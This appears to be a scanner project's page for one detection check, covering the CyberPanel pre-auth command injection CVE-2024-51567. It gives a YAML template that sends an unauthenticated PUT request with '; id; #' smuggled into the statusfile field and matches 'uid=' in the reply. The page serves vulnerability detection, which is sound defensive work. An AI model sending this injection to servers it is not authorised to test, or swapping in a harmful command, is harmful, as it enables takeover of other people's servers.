CyberPanel — 1 vulnerability check

noctis ships 1 vulnerability check for CyberPanel, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

CyberPanel Pre-Auth OS Command Injection via PUT upgrademysqlstatus

CVECVE-2024-51567
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionhttp_request, match · highest QoD 97
Feedtests/vulnerabilities/cyberpanel/CVE-2024-51567.yaml

Detects unauthenticated OS command injection in CyberPanel ≤ 2.3.7. The upgrademysqlstatus endpoint only enforces authentication on POST requests. A PUT request bypasses the auth middleware entirely, and the statusfile field is passed unsanitised to a shell command. Exploited at mass scale by the PSAUX ransomware group in October 2024 (~22,000 servers compromised).

How noctis detects it

  1. HTTP(S) request PUT /dataBases/upgrademysqlstatus with a crafted body
  2. Checks cmd_resp.body for uid=\d+ → finding QoD 97: CyberPanel pre-auth OS command injection (CVE-2024-51567) confirmed — `id` output in response: …

References:

Feed source — tests/vulnerabilities/cyberpanel/CVE-2024-51567.yaml
uid: 60724e47-6f56-4afd-8008-c565b500b9db
name: "CyberPanel Pre-Auth OS Command Injection via PUT upgrademysqlstatus (CVE-2024-51567)"
description: |
  Detects unauthenticated OS command injection in CyberPanel ≤ 2.3.7.
  The upgrademysqlstatus endpoint only enforces authentication on POST requests.
  A PUT request bypasses the auth middleware entirely, and the statusfile field
  is passed unsanitised to a shell command. Exploited at mass scale by the
  PSAUX ransomware group in October 2024 (~22,000 servers compromised).
cves: [CVE-2024-51567]
cvss: 10.0
severity: critical
category: rce
confidence_base: 0.30
tags: [cyberpanel, rce, command-injection, auth-bypass, kev, ransomware]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2024-51567"
  - "https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-51567.yaml"

steps:
  # PUT bypasses secMiddleware (auth only enforced on POST).
  # statusfile value is passed to shell unsanitised — inject `; id; #`.
  # A fixed CSRF token is used — the endpoint doesn't validate it in vuln versions.
  - id: cmd-inject
    action: http_request
    method: PUT
    path: "/dataBases/upgrademysqlstatus"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/json"
      X-CSRFToken: "noctistestcsrftoken0123456789ab"
      Cookie: "csrftoken=noctistestcsrftoken0123456789ab"
      Referer: "{{scheme}}://{{target_host}}"
    body: '{"statusfile":"/dev/null; id; #","csrftoken":"noctistestcsrftoken0123456789ab"}'
    store_as: cmd_resp

  - id: rce-match
    action: match
    source: cmd_resp.body
    pattern: "uid=\\d+"
    condition: "cmd_resp.status == 200"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "CyberPanel pre-auth OS command injection (CVE-2024-51567) confirmed — `id` output in response: {{cmd_resp.body}}"
      stop: true

View these feeds on GitHub